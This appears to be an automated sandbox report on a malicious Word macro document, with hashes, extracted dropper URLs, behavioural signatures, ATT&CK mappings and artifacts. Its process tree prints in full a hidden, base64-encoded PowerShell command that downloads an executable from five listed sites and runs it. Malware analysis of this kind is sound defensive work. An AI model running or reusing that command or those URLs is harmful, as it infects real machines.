623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b

General

Target

623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b.doc
Size

182KB
MD5

6fb57a9bfccd1dd2062de639145dccf8
SHA1

be4730e9e66fdefd1f2a91fd37cce331ee123cd4
SHA256

623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b
SHA512

c09897e03fb2ecb0d5908da8cf165a0fcc871ba2b8750131e131b39275878ca6d36850a43152292b90ddc53d38b66203fff57e79f6c621fc8a80163d594696bf
SSDEEP

3072:9Nh2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9Nh2k4PF7tGiL3HJk9rD7bdasiv86J

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3416	3672	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
25	3416	Powershell.exe
57	3416	Powershell.exe
60	3416	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3416	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4328	WINWORD.EXE
4328	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3416	Powershell.exe
3416	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3416	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4328	WINWORD.EXE
4328	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4328	WINWORD.EXE
4328	WINWORD.EXE
4328	WINWORD.EXE
4328	WINWORD.EXE
4328	WINWORD.EXE
4328	WINWORD.EXE
4328	WINWORD.EXE
4328	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4328 wrote to memory of 5084	4328	WINWORD.EXE	85
PID 4328 wrote to memory of 5084	4328	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\623b52a41069600922f0faa472e2b0d6cf338fed34d025e955d1b6420aa68f6b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4328
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:5084

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1F75ABA5.wmf

Filesize
444B

MD5
b6eebea03fafc95b0084d57c3bead681

SHA1
def4a466a3bc4683afccd00f8d3241d62eada5fc

SHA256
1fed00aa7b7b546e1104a2f2df7cf28f52093a1744baa09cffb477b3da977621

SHA512
e770b730f474f0425d3c71d9ceb69a5e12326cb01bd83d32dd89d3c67a01d93602e951b6c370f9d36abbd670a0d4f7e827fa799e66c4795090c481b40bef1869

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDDC3D.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xdt0j53.1es.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
683B

MD5
5614342b3ae968806a04900998723785

SHA1
8112100c12b92047307cc06e279a9a62693f9a51

SHA256
4fa596f65e24bec3631d38429ca02789f35fc45a9e780c9e1e7f6a818a6a18c4

SHA512
e6eda904298c13d39a16a73b06e560b271487696e0e17c56dffa5e8912fcf54629b3ad5e2dba08de8ad770ce5f115c042f220a938e0e5ae79b7af2a08bc8a948

Download Submit
memory/3416-55-0x0000025068290000-0x00000250682B2000-memory.dmp

Filesize
136KB

Download
memory/4328-13-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-18-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-9-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-8-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-11-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-12-0x00007FF9309D0000-0x00007FF9309E0000-memory.dmp

Filesize
64KB

Download
memory/4328-10-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-0-0x00007FF933130000-0x00007FF933140000-memory.dmp

Filesize
64KB

Download
memory/4328-15-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-6-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-17-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-16-0x00007FF9309D0000-0x00007FF9309E0000-memory.dmp

Filesize
64KB

Download
memory/4328-14-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-7-0x00007FF933130000-0x00007FF933140000-memory.dmp

Filesize
64KB

Download
memory/4328-5-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-3-0x00007FF97314D000-0x00007FF97314E000-memory.dmp

Filesize
4KB

Download
memory/4328-1-0x00007FF933130000-0x00007FF933140000-memory.dmp

Filesize
64KB

Download
memory/4328-70-0x00007FF9730B0000-0x00007FF9732A5000-memory.dmp

Filesize
2.0MB

Download
memory/4328-4-0x00007FF933130000-0x00007FF933140000-memory.dmp

Filesize
64KB

Download
memory/4328-2-0x00007FF933130000-0x00007FF933140000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads